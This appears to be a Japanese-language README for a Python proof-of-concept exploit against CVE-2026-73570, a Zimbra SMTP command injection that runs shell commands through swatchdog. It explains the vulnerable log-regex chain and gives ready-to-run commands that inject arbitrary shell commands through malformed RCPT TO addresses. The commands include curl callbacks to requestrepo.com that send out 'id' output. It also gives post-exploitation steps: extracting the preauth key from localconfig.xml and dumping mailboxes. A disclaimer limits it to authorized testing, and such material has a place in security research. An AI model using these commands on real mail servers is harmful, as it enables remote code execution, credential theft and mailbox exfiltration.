
Python製のCVE-2026-73570用PoC。ZimbraにおけるSMTPコマンドインジェクションです。swatchdogを介してシェルコマンド実行をトリガーするため、不正なRCPT TOペイロードを送信し、自動ポートスキャンとOOB検証を備えています。
SMTPコマンドインジェクションの脆弱性(CVE-2026-73570)をテストするための、カスタムの低レベルPython概念実証(PoC)スクリプトです。
このツールは、シェル形式のコマンド置換(例:$(command))を含む不正なRCPT TOアドレスを送信し、対象のメールサーバーまたはその下流の処理パイプラインが、サニタイズなしでアドレスをシェルに渡していないかを判定します。
⚠️ 免責事項: このツールは教育目的および許可されたセキュリティテスト専用です。対象インフラストラクチャをテストする明示的な許可を得ていることを確認してください。メールサーバーへの不正なスキャンや悪用は違法です。
すべてのZimbraボックスが脆弱なわけではありません。以下のすべての条件が満たされている必要があります:
zimbra-snmpパッケージがインストールされている(インストール時に頻繁にプロンプト表示されます)。snmp_notify)。swatchdogサービスが実行されている(デフォルトでオン)。攻撃対象領域: この攻撃は、攻撃者にSNMP(UDP/161/162)が公開されている必要はありません。悪意のある入力は標準のSMTP経由で届きます。
swatchdogプロセスは、の設定を使用してを追跡します。以下の正規表現を使用してログエントリを積極的に照合します:
/opt/zimbra/conf/swatchrc.in/var/log/zimbra.log/: Service status change: (\S+) (.*) changed from stopped to running/
/: Service status change: (\S+) (.*) changed from running to stopped/
(.*)キャプチャグループはサービス名として扱われます。dosnmpスクリプトは、そのキャプチャされたテキストをPerlのバッククォートsnmptrapコマンドに直接挿入します。Perlのバッククォートはシステムシェルを介して実行されるため、(.*)でキャプチャされたシェルメタ文字は評価され実行されます。
攻撃者は、実際のサービスステータス行のように見える引数を持つSMTPコマンド(RCPT TOなど)を送信することで、悪意のあるテキストをログに送り込みます。Postfixはこれを不正なアドレス構文としてログに記録しますが、swatchdogはログ行の正規表現に依然として一致し、ペイロードをシェルに渡します。
smtplibの内部アドレス検証をバイパスし、攻撃者が行うのとまったく同じように、非RFC準拠の生のペイロードを送信します。--commandフラグを介して任意のシェルコマンドを受け入れます。argparseで構築されています。スクリプトをCVE-2026-73570.py(または任意の名前)というファイルに保存します:
# 例:ファイルをダウンロードまたは作成
nano CVE-2026-73570.py
テストシナリオに応じて、スクリプトをいくつかの方法で実行できます。
ポートを指定しない場合、スクリプトはポート25、465、587をスキャンし、最初に開いているポートを自動的にターゲットにします。
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://your-unique-id.requestrepo.com"
ターゲットポート(例:465)がすでにわかっている場合は、スキャンの推測をスキップできます。
python3 CVE-2026-73570.py --host 127.0.0.1 --port 465 --command "curl http://your-unique-id.requestrepo.com"
ペイロードを送信せずに、ターゲット上のどのメールポートが開いているかを確認したい場合。
python3 CVE-2026-73570.py --host 127.0.0.1 --scan-only
| 引数 | 短縮形 | 説明 | デフォルト |
|---|---|---|---|
--host | -H | ターゲットホストのIPまたはドメイン。 | 127.0.0.1 |
--port | -p | ターゲットポート。省略した場合、25、465、587をスキャンし、開いているポートをターゲットにします。 | None(自動) |
--command | -c | SMTPペイロードに注入するシェルコマンド。 | TEST_PAYLOAD |
--scan-only | -s | ポートのみをスキャンし、インジェクションペイロードを送信せずに終了。 | False |
スクリプトを実行するだけでは、メールサーバーが不正なRCPT TOアドレスを受信したことのみが証明されます。ターゲットのファイルシステムやログへの直接アクセスを必要とせずに実際のコマンドインジェクションを確認するには、HTTP経由のOut-Of-Band(OOB)コールバックを使用します。
http://xyz123.requestrepo.com)をコピーします。curlを使用して一意のURLにアクセスするスクリプトを実行します:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com"
プロのヒント(データ流出): コマンドの出力をコールバックのURLパスに注入して流出させることができます:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com/$(id | tr -d ' ')"
Request Repoダッシュボードで、リクエストされたパスにuid=0(root)の出力が表示されることを確認してください。
テスト中に、次のようなSMTP応答を受け取る場合があります:
[<] RCPT TO: 554 554 5.7.1 <[email protected]>: Recipient address rejected: Access denied
アドレスが拒否されたからといって、脆弱性が失敗したと想定しないでください。
多くのメールサーバー(PostfixやEximなど)は、SMTPトランザクション中にペイロードを構文的に受け入れますが、ドメイン/受信者が許可されたリレーリストにないため、配信試行をすぐに拒否します。
CVE-2026-73570の脆弱性は、この拒否の後にトリガーされます。悪意のある文字列は、不正なアドレス構文のログエントリとして/var/log/zimbra.logに流れ込みます。swatchdogはこのログを追跡し、ペイロードに一致してシェルに渡します。
ペイロードはログ記録のためにこれらのバックエンドシステムに依然として到達するため、コマンド置換($())は引き続き実行されます。SMTP応答コードに関係なく、成功を検証するには常にOOBコールバック(例:Request Repo)に依存してください。
swatchdogインジェクションを介してコマンド実行が達成されると、攻撃者は通常zimbraユーザーとして動作します。ここから、主な目標は多くの場合、メールボックスデータへのアクセスです。
この次のステップを容易にするために、zimbraKingを使用できます。これはZimbraメールボックスをダンプするために設計されたカスタムツールです。
使用シナリオ:
エクスプロイト後のフェーズで、Zimbra設定ファイルを読み取り、preAuthKey(通常は/opt/zimbra/conf/localconfig.xmlのzimbra_preauth_keyキーの下にあります)を抽出できる場合、または有効なZimbraアカウントの資格情報を取得した場合、それらをzimbraKingに入力できます。
このツールは、preAuthKeyまたはアカウント資格情報を利用してZimbra SOAP APIに対して認証し、基盤となるデータベースやファイルシステムと直接やり取りすることなく、ターゲットのメールボックス内容を体系的にダンプします。
smtplibを使用しないのか?Pythonの組み込みsmtplibは厳格なRFC標準を強制します。"、$、(、)を含むアドレスをsmtplib.sendmail()に渡そうとすると、ライブラリは文字列を「安全」にするために改変するか、データがネットワークに到達する前にSMTPRecipientsRefused例外を発生させます。このカスタムクライアントは生のソケットを使用して、エクスプロイトペイロードのバイト単位の配信を保証します。